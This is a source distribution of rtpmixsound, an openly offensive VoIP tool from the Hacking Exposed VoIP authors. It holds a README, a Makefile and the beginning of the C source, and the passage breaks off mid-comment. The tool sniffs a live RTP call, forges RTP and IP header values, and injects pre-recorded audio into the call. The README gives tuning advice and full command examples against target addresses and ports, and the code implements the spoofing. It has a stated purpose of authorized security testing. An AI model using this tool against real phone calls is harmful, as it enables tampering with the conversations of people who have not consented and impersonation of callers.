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SecureLogix Mark O'Brien, SecureLogix Dustin D. Trammell , TippingPoint v2.0 : 10/04/2006 v1.0 : 09/26/2006 Mark D. Collier , SecureLogix Mark O'Brien, SecureLogix SecureLogix: http://www.securelogix.com TippingPoint: http://www.tippingpoint.com HackingExposed VoIP: http://www.hackingexposedvoip.com This tool was produced with honorable intentions, which are: o To aid owners of VoIP infrastructure to test, audit, and uncover security vulnerabilities in their deployments. o To aid 3rd parties to test, audit, and uncover security vulnerabilities in the VoIP infrastructure of owners of said infrastructure who contract with or otherwise expressly approve said 3rd parties to assess said VoIP infrastructure. o To aid producers of VoIP infrastructure to test, audit, and uncover security vulnerabilities in the VoIP hardware/software/systems they produce. o For use in collective educational endeavors or use by individuals for their own intellectual curiosity, amusement, or aggrandizement - absent nefarious intent. Unlawful use of this tool is strictly prohibited. The following open-soruce libraries of special note were used to build rtpmixsound: 1) libnet v1.1.2.1 (must use >= this version) 2) libpcap v0.9.4 (tool will probably work with some earlier versions) 3) libfindrtp [ e.g. utility routine - libfindrtp_find_rtp( ) to sniff out RTP sessions ] 4) hack_library [a couple of utility routines - Str2IP( ) and DumpPacket( ) ] Note: The Makefile for the rtpmixsound presumes that hack_library.o and hack_library.h reside in a folder at ../hack_library relative to the Makefile within the rtpmixsound directory. 5) a G.711 codec conversion library based upon open-source code from SUN published in the early 1990's and updated by Borge Lindberg on 12/30/1994. Note: The Makefile for the rtpmixsound tool presumes that the original g711.c file has been renamed g711conversions.c and a g711conversions.h file has been added. The rtpmixsound tool Makefile presumes the header and object for this library reside in a folder at ../g711conversions relative to the folder where rtpmixsound is built. The following comment is extracted from the source for your information: /* * December 30, 1994: * Functions linear2alaw, linear2ulaw have been updated to correctly * convert unquantized 16 bit values. * Tables for direct u- to A-law and A- to u-law conversions have been * corrected. * Borge Lindberg, Center for PersonKommunikation, Aalborg University. * bli@cpk.auc.dk * */ Install and build the libraries in accordance with their respective instructions. Then change to the rtpmixsound_v3.0 directory and simply type: make [root@localhost rtpmixsound_v3.0]# make then: [root@EquinoxLX rtpmixsound_v3.0]# ./rtpmixsound Error: 1 command line parameter is mandatory rtpmixsound - Version 3.0 January 03, 2007 Usage: Mandatory - pathname of file whose audio is to be mixed into the targeted live audio stream. If the file extension is .wav, then the file must be a standard Microsoft RIFF formatted WAVE file meeting these constraints: 1) header 'chunks' must be in one of two sequences: RIFF, fmt, fact, data or RIFF, fmt, data 2) Compression Code = 1 (PCM/Uncompressed) 3) Number of Channels = 1 (mono) 4) Sample Rate (Hz) = 8000 5) Significant Bits/Sample = signed, linear 16-bit or unsigned, linear 8-bit If the file name does not specify a .wav extension, then the file is presumed to be a tcpdump formatted file with a sequence of, exclusively, G.711 u-law RTP/UDP/IP/ETHERNET messages Note: Yep, the format is referred to as 'tcpdump' even though this file must contain udp messages Optional - -a source RTP IPv4 addr -A source RTP port -b destination RTP IPv4 addr -B destination RTP port -f spoof factor - amount by which to: a) increment the RTP hdr sequence number obtained from the ith legitimate packet to produce the RTP hdr sequence number for the ith spoofed packet b) multiply the RTP payload length and add that product to the RTP hdr timestamp obtained from the ith legitimate packet to produce the RTP hdr timestamp for the ith spoofed packet c) increment the IP hdr ID number obtained from the ith legitimate packet to produce the IP hdr ID number for the ith spoofed packet [ range: +/- 1000, default: 2 ] -i interface (e.g. eth0) -j jitter factor - the reception of a legitimate RTP packet in the target audio stream enables the output of the next spoofed packet. This factor determines when that spoofed packet is actually transmitted. The factor relates how close to the next legitimate packet you'd actually like the enabled spoofed packet to be transmitted. For example, -j 10 means 10% of the codec's transmission interval. If the transmission interval = 20,000 usec (i.e. G.711), then delay the output of the spoofed RTP packet until the time-of-day is within 2,000 usec (i.e. 10%) of the time the next legitimate RTP packet is expected. In other words, delay 100% minus the jitter factor, or 18,000 usec in this example. The smaller the jitter factor, the greater the risk you run of not outputting the spoofed packet before the next legitimate RTP packet is received. Therefore, a factor >= 10 is advised. [ range: 0 - 80, default: 80 = output spoof ASAP ] -p seconds to pause between setup and injection -h help - print this usage -v verbose output mode Note: If you are running the tool from a host with multiple ethernet interfaces which are up, be forewarned that the order those interfaces appear in your route table and the networks accessible from those interfaces might compel Linux to output spoofed audio packets to an interface different than the one stipulated by you on command line. This should not affect the tool unless those spoofed packets arrive back at the host through the interface you have specified on the command line (e.g. the interfaces have connectivity through a hub). [root@localhost rtpmixsound_v3.0]# This tool does NOT presume it is running as Man-In-The-Middle (MITM), however, it does presume that audio (i.e. RTP) packet stream of interest can be received by the specified Ethernet interface in promiscuous mode (e.g. the host running the tool is connected to a hub through which target audio packet streams are flowing). The tool presently supports mixing audio into an audio stream (i.e. RTP/UDP/IP/Ethernet) bearing G.711 u-law payloads only. The RTP header of the target audio packets must be a standard RFC 3550 12-byte RTP header. The tool does NOT automatically detect and compensate for audio session modifications. The tool does NOT presently support 802.1q (i.e. layer 2 VLAN/priority tagging) within the 802.3 IEEE Ethernet header. The tool presumes it is running on a little-endian platform. Use Ethereal/Wireshark or some appropriate sniffer to determine the stream into which you'd like to mix an audio playback. You must know the source IPv4 address, source UDP port, destination IPv4 address, and destination UDP port of the stream into which you'd like to mix audio. This tool is unidirectional. If the mix of the audio is successful, the targeted destination will be persuaded to accept the RTP packets interlaced by this tool and reject the legitimate audio packets that continue to stream from the legitimate source to the target destination. However, audio from the legitimate source will continue to be heard at the targeted destination because it is being mixed with the pre-recorded audio in real-time. Playback is rather arbitrarily limited to 30 seconds. You may change the source code if you require a longer playback interval. The sound (i.e. audio) to mix into an audio stream must be in one of two forms as stipulated by the usage printout appearing above. If a wave file you'd like to input to the tool does not comply with the constraints imposed by the tool, you will need to use an audio conversion utility to massage the file into a form acceptable by the tool. For example, many wave files on the Net are in this format: Compression Code: 1 Channels: 1 Sample Rate (Hz): 11025 Avg. Bytes/sec: 11025 Block Align: 1 Significant Bits/sample: 8 A sample rate of 11025 is not presently supported by the tool. The Linux sox command might be used to convert the file to the required 8000 Hz sample rate. If the file is named swclear.wav then: sox -V swclear.wav -r 8000 swclear_resample.wav resample -ql converts swclear.wav to swclear_resample.wav with the following format: Compression Code: 1 Channels: 1 Sample Rate (Hz): 8000 Avg. Bytes/sec: 8000 Block Align: 1 Significant Bits/sample: 8 The sox command can also be used to convert multi-channel audio to mono, covert different compression codes to the PCM/uncompressed format required by the tool, and convert the number of significant bits/sample, among many other conversions. Unfortunately, sox does not support the conversion of wave files from MPEG format to the format required by the tool. If you attempted a similar sox command to the one above for the a MPEG Layer 3 formatted file you'd get this error: sox: Failed reading khan.wav: Sorry, this WAV file is in MPEG Layer 3 format. For tcpdump formatted input files, the file must be composed of sequential RTP/UDP/IP/Ethernet messages, where the RTP payloads are encoded using the G.711 u-law codec (i.e. PCMU). Our sound files were produced using the Asterisk open-source IP PBX. Asterisk call files were used to call a VoIP phone that was configured with a preference to receive audio processed by the G.711 u-law codec. The call file stipulated the sound file to play once the call was connected. The Ethereal/Wireshark network analyzer tool was used to capture the G.711 packets flowing from the Asterisk IP PBX to the phone. These were saved into a standard tcpdump file. There are, no doubt, many other mechanisms to produce such a file. Note: For operation of the open-source Asterisk IP PBX and an explanation of "call files", see: Asterisk: The Future of Telephony, by Jim Van Meggelen, Jared Smith, and Leif Madsen. Copyright 2005 OReilly Media, Inc., 0-596-00962-3. A softcopy of that book is available on-line as a legitimately free download. A later version of the tool might be capable of inputting a greater variety of audio file formats. When the tool is executed, it first loads the pre-recorded audio into memory. Then it attempts to detect a packet from the target audio stream designated on the command line. The output of bogus mixed audio interlaced into the legitimate audio stream is close-looped with the reception of legitimate audio packets. The optional spoof factor value might be specified on the command line (i.e. default = 2). As reported by the tool's help, the spoof factor is used to adjust key RTP header and IP header values in an inserted audio packet relative to those values in the legitimate audio packet triggering the insertion of that bogus audio packet. Adjusting those key header values slightly higher (or lower) relative to the last legitimate packet may persuade the target destination to accept the inserted packets and reject the legitimate packets it continues to receive. The optional jitter factor value might be specified on the command line (i.e. default 80% = ASAP). The jitter factor determines exactly when the next bogus audio packet is inserted relative to the received audio packet triggering the mixture and output of the bogus packet. The default value outputs the bogus packet ASAP. A value less than 80% requires the bogus packet to be output closer to when the next legitimate audio packet is expected. The factor is expressed as a percentage of the ideal codec transmission interval, which is every 20 ms for G.711 u-law. So, for G.711: jitter factor how close to the next legitimate packet % the bogus packet is transmitted ------------- ------------------------------------------- 80 close to 20 ms (i.e. ASAP - within a couple of hundred usec after the trigger packet) 70 14 ms (i.e. 6 ms after the trigger packet) 60 12 ms (i.e. 8 ms after the trigger packet) 50 10 ms (i.e. 10 ms after the trigger packet) 40 8 ms (i.e. 12 ms after the trigger packet) 30 6 ms (i.e. 14 ms after the trigger packet) 20 4 ms (i.e. 16 ms after the trigger packet) 10 2 ms (i.e. 18 ms after the trigger packet) 5 1 ms (i.e. 19 ms after the trigger packet) When a jitter factor other than 80 is specified, the execution priority of the tool is increased to the maximum. You'll probably note that other applications and GUI's running on the same platform will decrease in responsiveness (e.g. Ethereal). Only one VoIP hard phone model has been encountered by the authors thus far (out of 8) that requires a jitter factor other than the default value. The timing is not as precise as the table might indicate. A jitter factor too close to 0 usually results in the tool failing, at some point in the playback, to output a bogus packet before the next legitimate packet is received. The tool detects that condition and stops with an appropriate error message. Example: ./rtpmixsound eth0 10.1.101.40 39120 10.1.101.60 64006 g711CaptureAlphabetRecitation -f 1 -j 10 In this example, the audio from the tcpdump file named g711CaptureAlphabetRecitation within the rtpmixsound folder is mixed into the G.711 audio stream from the VoIP source at 10.1.101.40:39120 to the VoIP destination at 10.1.101.60:64006. Each bogus audio packet is transmitted approximately 18 ms after the prior legitimate audio packet is received by the tool. The factor to apply to manipulate key RTP header and IP header values in a bogus packet, relative to its legitimate trigger packet is: 1. The audio in a bogus packet is the real-time audio mixture of the ith pre-recorded audio packet loaded from the specified file and the audio from the most recently received RTP packet in the specified audio stream. Alternatively, an appropriate wave file could be used: ./rtpinsertsound eth0 10.1.101.40 39120 10.1.101.60 64006 AlphabetRecitation.wav -f 1 -j 10 If the tool pauses for a noticeable interval when initially attempting to sync to the audio stream, it very likely means one or more of the following conditions exist: a) the stream is not present at the specified Ethernet interface b) the audio stream does not exist (i.e. the call has ended or changed state) c) the user has not entered the IPv4 addresses or UDP ports properly Since the output of a mixture of bogus audio and legitimate audio is close-looped to the reception of the target audio stream, the tool stalls if the target audio stream ends or changes state during the playback. A compilation directive determines whether the object code of the tool is produced with Ethernet layer spoofing or whether IP layer spoofing is sufficient. Testing to-date has demonstrated that Ethernet layer spoofing is NOT required. The tool executes faster when it is not required to spoof at the Ethernet layer. Ethernet layer spoofing is not recommended. Mark O'Brien (10/11/2006) rtpmixsound-3.0/rtpmixsound/Makefile0000644000175000017500000000037710542055261017321 0ustar dookiedookiertpmixsound: rtpmixsound.c rtpmixsound.h gcc -I../hack_library -I../g711conversions rtpmixsound.c -lnet -lpcap -lfindrtp ../hack_library/hack_library.o ../g711conversions/g711conversions.o -o rtpmixsound clean: rm -f rtpmixsound rtpmixsound.o rtpmixsound-3.0/rtpmixsound/rtpmixsound.c0000644000175000017500000030612610563650572020433 0ustar dookiedookie//------------------------------------------------------------------------------- // // rtpmixsound.c - Command line tool to mix the content // of a sound file into a call. This tool presumes // the host from which the tool is executed is not // MITM in the audio stream. However, it // presumes the host from which the tool is // executed is capable of sniffing the specified // stream (e.g. the host is connected to a hub // through which the audio stream is flowing). // // Note: this behavior is in contrast to the tool, // rtpreplacesound, which presumes the // host from which the tool is executed is // MITM. As such, the audio is received // and dropped in favor of the audio // replacing it. // // This tool sniffs a specified audio stream for // RTP packets. It uses the protocol header // parameters it captures to spoof the sender // (e.g. RTP hdr sequence number, timestamp). // Presently, the sniffed audio is presumed to be // G.711 ulaw encoded audio of 160 bytes/packet. // For each packet in the target audio stream, // this tool decodes the received payload into // 16-bit linear PCM, mixes that audio with the // next audio sample from the pre-recorded // audio, and encodes the sum back into G.711 // ulaw. // // The format of the pre-recorded audio must // be one of the following: // // a) a file name with the .wav extension is a // standard Microsoft RIFF multimedia // formatted WAVE file. // // b) a file name without the .wav extension is // a sequence of, exclusively, G.711 u-law // RTP/UDP/IP/ETHERNET messages. // // The RTP header timestamp and sequence // number in the spoofed packet are adjusted // by a factor. The IP header ID in the spoofed // packet is also adjusted by a factor. // // The goal is to transmit audio packets // containing protocol header values to persuade // the targeted destination device that the spoofed // packets are more timely and that the audio // packets the destination continues to receive // from the legitimate transmitter are too // early or late. // // Note: this tool is unidirectional, but you can // run two instances to affect each side of // a call. // // Copyright (C) 2006 Mark D. Collier/Mark O'Brien // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. // // Authors: // v3.0 : 01/03/2007 // Mark D. Collier , SecureLogix // Mark O'Brien, SecureLogix // Dustin D. Trammell , TippingPoint // v2.0 : 10/10/2006 // v1.0 : 08/14/2006 // Mark D. Collier , SecureLogix // Mark O'Brien, SecureLogix // // SecureLogix: http://www.securelogix.com // TippingPoint: http://www.tippingpoint.com // Hacking Exposed VoIP: http://www.hackingexposedvoip.com // //------------------------------------------------------------------------------- #include #include "hack_library.h" #include "g711conversions.h" #include "rtpmixsound.h" int main ( int argc, char *argv[] ) { // // Declarations and initializations // int i, j; int bytesWritten; int audioMix; int ipPacketSize; rtp_pair *rp = NULL; int rtpSrcPort = 0; int rtpDestPort = 0; int spoofFactor = 2; // default int jitterFactor = 80; // default (i.e. ouput spoofed RTP packet ASAP) unsigned int pause = 0; unsigned int idxExtension = 0; unsigned int numG711PacketEquivalents = 0; unsigned int rtpSrcIPv4Addr = 0; unsigned int rtpDestIPv4Addr = 0; unsigned int spoofTimestamp; unsigned int spoofSSRC; unsigned short spoofID; unsigned short spoofSeqNumber; unsigned char *pUlawByte = NULL; short *pPCMShort = NULL; bool bSuccess = false; bool bFoundSyncPacket = false; char pcap_errbuf[PCAP_ERRBUF_SIZE]; char rtpDestIPv4AddrDotted[16]; char rtpSrcIPv4AddrDotted [16]; char *psDevice = "eth0"; char *psRtpSrcIPv4Addr = NULL; char *psRtpDestIPv4Addr = NULL; char *psTempIPv4Addr = NULL; char *psInputAudioFile = NULL; char macString[18] = ""; // 6 hex bytes * 2 char/byte + 5 colons + end-of-string struct rtp_msg rtp_msg_to_insert; float expectedAudioPlaybackTime = 0; signal ( SIGTERM, catch_signals ); signal ( SIGINT, catch_signals ); // // Check the number of command line parms entered. // if ( argc < 2 ) { printf( "\nError: 1 command line parameter is mandatory\n" ); usage ( EXIT_FAILURE ); }; // // Parse the command line. // while ( ( opt = getopt ( argc, argv, "a:A:b:B:f:i:j:p:vh?" ) ) != EOF ) { switch ( opt ) { case 'a': // Source RTP IP address. Str2IP returns the numeric IP address // in network byte order. psRtpSrcIPv4Addr = optarg; psTempIPv4Addr = strdup( psRtpSrcIPv4Addr ); if ( Str2IP ( psTempIPv4Addr, &rtpSrcIPv4Addr ) != EXIT_SUCCESS ) { printf ( "\nsource IPv4 addr invalid: %s\n", psRtpSrcIPv4Addr ); free ( psTempIPv4Addr ); usage ( EXIT_FAILURE ); // control does not return here } snprintf ( rtpSrcIPv4AddrDotted, 15, psRtpSrcIPv4Addr ); free ( psTempIPv4Addr ); psTempIPv4Addr = NULL; break; case 'A': // Source RTP port number. rtpSrcPort = atoi ( optarg ); if ( rtpSrcPort < 0 || rtpSrcPort > 65535 ) { printf ( "\nRTP Source Port range = 0 to 65535\n" ); usage ( EXIT_FAILURE ); // control does not return here } break; case 'b': // Destination RTP IP address. Str2IP returns the numeric IP address // in network byte order. psRtpDestIPv4Addr = optarg; psTempIPv4Addr = strdup( psRtpDestIPv4Addr ); if ( Str2IP ( psTempIPv4Addr, &rtpDestIPv4Addr ) != EXIT_SUCCESS ) { printf ( "\nsource IPv4 addr invalid: %s\n", psRtpDestIPv4Addr ); free ( psTempIPv4Addr ); usage ( EXIT_FAILURE ); // control does not return here } snprintf ( rtpDestIPv4AddrDotted, 15, psRtpDestIPv4Addr ); free ( psTempIPv4Addr ); psTempIPv4Addr = NULL; break; case 'B': // Destination RTP port number. rtpDestPort = atoi ( optarg ); if ( rtpDestPort < 0 || rtpDestPort > 65535 ) { printf ( "\nRTP Destination Port range = 0 to 65535\n" ); usage ( EXIT_FAILURE ); // control does not return here } break; case 'f': spoofFactor = atoi ( optarg ); // increment and mutiplication factor break; case 'i': // Ethernet device. psDevice = optarg; break; case 'j': jitterFactor = atoi ( optarg ); // spoofed pkt jitter factor % break; case 'p': pause = atoi ( optarg ); // pause value (in seconds) break; case 'v': bVerbose = true; // Verbose option. break; case 'h': case '?': usage( EXIT_SUCCESS ); // control does not return here. break; } } // // getopt permutes the order of the parms in argv[] placing non-optional parms // at the end of argv. optind should be the index of the 1st mandatory non-optional // parm in argv[] and there must be exactly 6 non-optional mandatory parms: // if ( optind != ( argc - 1 ) ) { printf( "\nError: 1 command line parameter is mandatory\n" ); usage ( EXIT_FAILURE ); // control does not return here } // // Pathname of the file containing audio to mix into the live audio stream // described by the other command line arguments. // psInputAudioFile = argv[optind++]; // // spoof factor (i.e. see usage ( ) ) // if ( spoofFactor < -1000 || spoofFactor > 1000 ) { printf ( "\noptional spoof factor range: +/- 1000\n" ); usage ( EXIT_FAILURE ); // control does not return here } // // jitter factor (i.e. see usage ( ) ) // if ( jitterFactor < 0 || jitterFactor > 80 ) { printf ( "\noptional jitter factor range: 0 to 80\n" ); usage ( EXIT_FAILURE ); // control does not return here } // // FIXME: For now, the tool only supports the G.711 codec. // if ( jitterFactor < 80 ) { jitterDelayUsec = ( unsigned int ) ( ( ( float ) __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC ) - ( ( ( float ) __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC ) * ( ( ( float ) jitterFactor ) / 100.0 ) ) ); jitterProximityUsec = __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC - jitterDelayUsec; } // end if ( jitterFactor < 80 ) // // Fill out any missing RTP Session data // extern unsigned int libfindrtp_debug; libfindrtp_debug = bVerbose; libfindrtp_debug = 2; if ( !psRtpSrcIPv4Addr || !rtpSrcPort || !psRtpDestIPv4Addr || !rtpDestPort ) { rp = libfindrtp_find_rtp( psDevice, 1, psRtpSrcIPv4Addr, psRtpDestIPv4Addr ); if ( rp ) { rtpSrcIPv4Addr = rp->ip_a_n; psRtpSrcIPv4Addr = (char *)&rp->ip_a_a; memcpy( rtpSrcIPv4AddrDotted, &rp->ip_a_a, 16); rtpSrcPort = rp->port_a; rtpDestIPv4Addr = rp->ip_b_n; psRtpDestIPv4Addr = (char *)&rp->ip_b_a; memcpy( rtpDestIPv4AddrDotted, &rp->ip_b_a, 16); rtpDestPort = rp->port_b; } } // // Print summary of parms. // printf ( "\n%s\n", __RTPMIXSOUND_VERSION ); printf ( "%s\n", __RTPMIXSOUND_DATE ); printf ( "\nsource IPv4 addr:port = %s:%u", rtpSrcIPv4AddrDotted, rtpSrcPort ); printf ( "\ndest IPv4 addr:port = %s:%u", rtpDestIPv4AddrDotted, rtpDestPort ); printf ( "\nInput audio file: %s\n", psInputAudioFile ); printf ( "\nspoof factor: %d\n", spoofFactor ); if ( jitterFactor == 80 ) { printf ( "\njitter factor: output spoofed packets ASAP\n" ); } else { printf ( "\njitter factor: %d%% " " = wait %u usec to output each spoofed RTP packet\n", jitterFactor, jitterDelayUsec ); /* printf ( "\nmax SCHED_FIFO scheduling priority = %d\n" "\nmax SCHED_RR scheduling priority = %d\n" "\nmax SCHED_OTHER scheduling priority = %d\n" "\nmin SCHED_FIFO scheduling priority = %d\n" "\nmin SCHED_RR scheduling priority = %d\n" "\nmin SCHED_OTHER scheduling priority = %d\n", sched_get_priority_max( SCHED_FIFO ), sched_get_priority_max( SCHED_RR ), sched_get_priority_max( SCHED_OTHER ), sched_get_priority_min( SCHED_FIFO ), sched_get_priority_min( SCHED_RR ), sched_get_priority_min( SCHED_OTHER ) ); */ // // The user has specified a jitter factor other than the default of 80 (i.e. ASAP). // Raise the execution priority of rtpmixsound to the maximum priority // in order to attempt to output each spoofed audio packet as close as possible to // the time delta desired by the user before the next legitimate audio packet // is expected. // int process_priority = 0; process_priority = getpriority( PRIO_PROCESS, 0 /* this process */ ); printf ( "\n\nProcess priority was = %d\n", process_priority ); process_priority = -20; // -20 to 19: max (i.e. best) priority = -20, normal = 0 rc = setpriority ( PRIO_PROCESS, 0 /* this process */, process_priority ); if ( rc == 0 ) { printf ( "\nProcess Priority set to: %d (i.e. highest priority)\n", getpriority( PRIO_PROCESS, 0 /* this process */ ) ); } else { printf ( "\nError: Could not set process priority to: %d\n", process_priority ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } } // end if ( jitterFactor == 80 ) if ( bVerbose ) { printf ( "\nVerbose mode\n" ); } // // Vet the specified pre-recorded audio file to confirm it complies // with various restrictions imposed by this tool. // idxExtension = strlen ( psInputAudioFile ) - 4; if ( idxExtension > 0 ) { // filename could have .wav extension if ( psInputAudioFile[ idxExtension ] == '.' && psInputAudioFile[ idxExtension + 1 ] == 'w' && psInputAudioFile[ idxExtension + 2 ] == 'a' && psInputAudioFile[ idxExtension + 3 ] == 'v' ) { bSuccess = preloadWavAudio ( psInputAudioFile, pcmSamplesToMix, &numG711PacketEquivalents ); } else { bSuccess = preloadTCPdumpAudio ( psInputAudioFile, pcmSamplesToMix, &numG711PacketEquivalents ); } } else { bSuccess = preloadTCPdumpAudio ( psInputAudioFile, pcmSamplesToMix, &numG711PacketEquivalents ); } if ( !bSuccess ) { CleanupAndExit ( EXIT_FAILURE ); } if ( numG711PacketEquivalents == 0 ) { printf ( "\nError: Audio input file is empty or doesn't hold" "\nat least one G.711 packet's worth of audio.\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } printf ( "\nAudio read from input file equates to %u G711 packets.\n", numG711PacketEquivalents ); expectedAudioPlaybackTime = (float) numG711PacketEquivalents / (float) __RTPMIXSOUND_G711_CODEC_RATE_HZ; printf ( "At an ideal playback rate of %u Hz, this represents\n" "%4.2f seconds of audio.\n", __RTPMIXSOUND_G711_CODEC_RATE_HZ, expectedAudioPlaybackTime ); // // It's time to sniff the specified network interface and try to capture // a packet from the audio stream specified by command line arguments // pcap_errbuf[ 0 ] = '\0'; h_pcap_live_rtp = pcap_open_live ( psDevice, // interface to open 65535, // max. # of bytes to capture __RTPMIXSOUND_PROMISCOUS_MODE, // open in promiscous mode 0, // wait forever for 1 packet. pcap_errbuf ); // where an error string is stored if ( h_pcap_live_rtp == NULL ) { fprintf ( stderr, "\nCouldn't open interface to sniff/insert audio %s: %s\n", psDevice, pcap_errbuf ); CleanupAndExit ( EXIT_FAILURE ); } if ( pcap_errbuf[ 0 ] != '\0' ) { // pcap has returned a warning instead of an error fprintf ( stderr, "\npcap warning: %s\n", pcap_errbuf ); } // // Prompt user for injection command or pause number of seconds specified on // the command-line. // if ( pause ) { printf( "\nWaiting %d seconds...\n", pause ); sleep( pause ); } else { printf( "\nReady to inject, press to begin injection...\n" ); scanf( "%*c" ); } // // Need to open a socket purely for the purpose of obtaining the MAC address of // the specified device. The MAC address of the device must be included in the // pcap filter to prevent the spoofed packets output from this tool from being // captured by pcap and feed back into the tool as if they came from the // RTP transmitter this tool has been commanded to spoof. // strcpy ( ifreq.ifr_ifrn.ifrn_name, psDevice ); if ( ( sockfd = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 ) { fprintf ( stderr, "\nsocket - Couldn't allocate socket to obtain device MAC addr\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } if ( ioctl ( sockfd, SIOCGIFHWADDR, &ifreq ) != 0 ) { fprintf ( stderr, "\nioctl - Couldn't read socket's MAC address\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } memcpy ( deviceMAC, ifreq.ifr_hwaddr.sa_data, IFHWADDRLEN ); macString[0] = '\0'; // initialize workspace string to NUL string sprintf ( macString, "%02x:%02x:%02x:%02x:%02x:%02x", deviceMAC[0], deviceMAC[1], deviceMAC[2], deviceMAC[3], deviceMAC[4], deviceMAC[5], deviceMAC[6] ); if ( bVerbose ) { printf ( "\n%s's MAC: %s\n", psDevice, macString ); } // // Create a libpcap filter to restrict packet capture to the audio stream // specified by command line arguments // // The filter is a string of this form: // "src host and dst host and udp src port // and udp dst port and not ether src " // char pcap_filter[ 300 ]; // Provide more than enough space for the filter ( i.e. 2x) pcap_filter[0] = '\0'; // NUL string rc = snprintf ( pcap_filter, sizeof( pcap_filter ), "src host %s and dst host %s and " "udp src port %u and udp dst port %u and " "not ether src %s", psRtpSrcIPv4Addr, psRtpDestIPv4Addr, rtpSrcPort, rtpDestPort, macString ); if ( rc >= sizeof ( pcap_filter ) ) { printf ( "\nError: pcap filter string was limited at %u characters. " "Expected room to spare.\n", sizeof ( pcap_filter ) - 1 ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } if ( rc < 0 ) { printf ( "\nError: pcap filter string problem. Size of string = %u\n", sizeof ( pcap_filter ) - 1 ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } rc = pcap_compile ( h_pcap_live_rtp, &compiled_pcap_filter, pcap_filter, 0, // don't optimize filter 0xFFFFFF00 ); // netmask (i.e. 255.255.255.0) if ( rc < 0 ) { pcap_perror ( h_pcap_live_rtp, "\nError: pcap_compile filter : " ); printf ( "\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } rc = pcap_setfilter ( h_pcap_live_rtp, &compiled_pcap_filter ); if ( rc < 0 ) { pcap_perror ( h_pcap_live_rtp, "\nError: pcap_setfilter : " ); printf ( "\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } // // program pointed by the bpf_program may be freed after the program // has been installed by a call to pcap_setfilter // pcap_freecode( &compiled_pcap_filter ); if ( bVerbose ) { printf ( "\npcap filter installed for live audio stream " "sniffing: %s\n", pcap_filter ); } // // The pcap manual states that pcap_next( ) is always blocking. Perhaps // this statement can be extrapolated to use of pcap_next_ex( ) as well. // Just to be safe, explicitly set the pcap descriptor to blocking. // pcap_setnonblock( h_pcap_live_rtp, 0, // 0 = blocking pcap_errbuf ); rc = pcap_getnonblock( h_pcap_live_rtp, pcap_errbuf ); if ( bVerbose ) { if ( rc == 0 ) { printf ( "\npcap live %s interface is blocking\n\n", psDevice ); } else { if ( rc == -1 ) { printf ( "\npcap getnonblock( ) error: %s\n\n", pcap_errbuf ); } else { printf ( "\npcap live %s interface is non-blocking\n\n", psDevice ); } } } // // Set the direction that pcap will capture packets. This tool spoofs the transmitter // of an audio stream that pcap's filter is now programmed to detect. We don't want // pcap to mistake this tool's outgoing packet's for those we are interested in // receiving. So, restrict the pcap capture to incoming packets only. // /* Setting the direction did not appear to work when spoofing packets. Instead, we had to set the pcap filter to exclude packets with the MAC address of the ethernet interface this host is using to receive legitimate packets and transmit spoofed packets rc = pcap_setdirection ( h_pcap_live_rtp, PCAP_D_IN ); if ( rc == -1 ) { pcap_perror ( h_pcap_live_rtp, "\nError: could not set pcap capture direction : " ); printf ( "\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } */ printf ( "\nAttempting to sniff RTP packets from " "the specified audio stream......" ); fflush ( stdout ); rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet ); if ( rc == -1 ) { pcap_perror ( h_pcap_live_rtp, "\nError: while attempting to sniff live audio : " ); printf ( "\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } if ( rc == 0 ) { printf ( "\nTimeout reported by pcap_next_ex( ), but " "no timeout was requested.\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } printf ( "\nSuccessfully detected a packet from targeted audio stream.\n" ); if ( bVerbose ) { decodeAndPrintRTPMsg ( packet ); } // // Prime the rtp_msg_to_insert structure with the // rtp header of the captured packet // memcpy ( &(rtp_msg_to_insert.rtp_hdr), packet + offset_to_rtp_msg, sizeof ( struct rfc1889_rtp_hdr ) ); // // Confirm that the target audio stream is G.711. // // FIXME: The tool only supports G.711 ulaw. // if ( rtp_msg_to_insert.rtp_hdr.payloadType != __RTPMIXSOUND_G711_PAYLOAD_TYPE ) { printf ( "\nThe target audio stream is not bearing G.711" "\nu-law encoded audio. Payload type = %u\n", rtp_msg_to_insert.rtp_hdr.payloadType ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } // // Initialize the libnet library in preparation for spoofing. Root privileges are required. // // Note: it has been demonstrated that the order in which ethernet interfaces appear // in your route table might override your attempt to output spoofed packets // over a certain ethernet interface. For example, the device specified in the // call to libnet_init() below might prove irrelevant. // // For example, suppose the user executing this tool specified eth2 on the // command line. However, suppose eth0 is also up, eth0 was brought into // service earlier than eth2, and eth0 also provides a route to the targeted // destination device. In that case, eth0 will appear in the route table before // eth2. The spoofed packets are transmitted out eth0 instead of eth2!!!! // The problem in this example can be solved in one of the following ways: // // 1) specify eth0 instead of eth2 on the command line // 2) Take eth0 down. Its entry is automatically removed from the route table // 3) Take eth0 down and then bring it up. This changes the order // of the interfaces in the route table // // Who cares which interface is used if the packets make it to the intended // destination in a timely fashion? We do. The reason is that the pcap filter // (i.e. see above) had to exclude receiving packets from the MAC of the // interface stipulated by the user on the command line. The filter prevents // the tool from recapturing spoof packets it generates (i.e. spoofing itself). // If the spoofed packets exit this host on a different interface then the // one specified on the command line, they might be transmitted back to // this host through the interface specified on the command line // (e.g. if, for example, both interfaces are connected to a hub). Since the // source MAC on the 